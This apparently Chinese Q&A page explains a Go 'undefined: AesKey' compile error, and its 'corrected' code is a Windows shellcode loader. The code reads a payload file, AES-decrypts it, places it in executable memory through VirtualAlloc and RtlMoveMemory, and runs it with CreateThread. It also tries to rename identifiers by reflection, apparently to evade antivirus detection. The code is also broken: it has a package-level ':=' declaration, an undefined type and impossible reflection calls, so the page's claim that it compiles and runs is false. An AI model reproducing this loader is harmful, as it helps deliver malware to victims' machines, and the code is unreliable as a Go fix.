Go 代码编译报错:undefined: AesKey 错误解决方法
在代码中,变量 'AesKey' 是在 'main' 函数中定义的,而在 'Encode' 和 'Decode' 函数中使用时未定义,因此编译时会提示 undefined: AesKey 的错误。为解决这个问题,可以将变量 'AesKey' 的定义放在函数外部,或者将其定义为全局变量,以便在所有函数中都可以使用。同时,在变量 'AesKey' 的定义之前使用它的函数也需要进行相应的修改。例如,在 'Encode' 函数中,可以将 'AesKey' 作为参数传递进去,而不是直接使用它。
以下是修改后的代码示例:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"io/ioutil"
"reflect"
"strconv"
"syscall"
"time"
"unsafe"
)
// 定义全局变量 AesKey
var AesKey = []byte{
0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
CreateThread = kernel32.NewProc("CreateThread")
)
varNames := [][]string{
{"AesKey", "key", "src", "block", "iv", "stream", "dst"},
{"cipher", "key", "src"},
{"src", "payloadBytes", "encodedBytes", "bdata"},
{"src", "decodedBytes", "payloadBytes"},
{"charcode", "addr", "handle"},
{"filename", "data"},
{"payload", "encodedPayload", "shellCodeHex"},
}
func AesCipher(key []byte, src []byte) []byte {
block, _ := aes.NewCipher(key)
iv := make([]byte, aes.BlockSize)
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(src))
stream.XORKeyStream(dst, src)
return dst
}
// 将 AesKey 作为参数传递
func Encode(key []byte, src string) string {
payloadBytes := []byte(src)
encodedBytes := Crypt(AesCipher, key, payloadBytes)
bdata := base64.StdEncoding.EncodeToString(encodedBytes)
return bdata
}
// 将 AesKey 作为参数传递
func Decode(key []byte, src string) []byte {
decodedBytes, _ := base64.StdEncoding.DecodeString(src)
payloadBytes := Crypt(AesCipher, key, decodedBytes)
return payloadBytes
}
func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
return cipher(key, src)
}
func exec(charcode []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
time.Sleep(5)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
time.Sleep(5)
handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
time.Sleep(5)
syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}
func readFile(filename string) []byte {
data, _ := ioutil.ReadFile(filename)
return data
}
func main() {
funcNames := []string{"AesCipher", "Crypt", "Encode", "Decode", "exec", "readFile", "main"}
for i, name := range funcNames {
newName := "func" + strconv.Itoa(i)
reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName))
}
for _, vars := range varNames {
for i, name := range vars {
newName := "var" + strconv.Itoa(i)
reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName))
}
}
payload := string(readFile("./payload.bin"))
encodedPayload := Encode(AesKey, payload)
shellCodeHex := Decode(AesKey, encodedPayload)
exec(shellCodeHex)
}
通过将 'AesKey' 定义为全局变量或将其作为参数传递给需要使用的函数,可以解决 'undefined: AesKey' 错误,并确保代码能够正确编译和运行。
原文地址: https://www.cveoy.top/t/topic/lKKQ 著作权归作者所有。请勿转载和采集!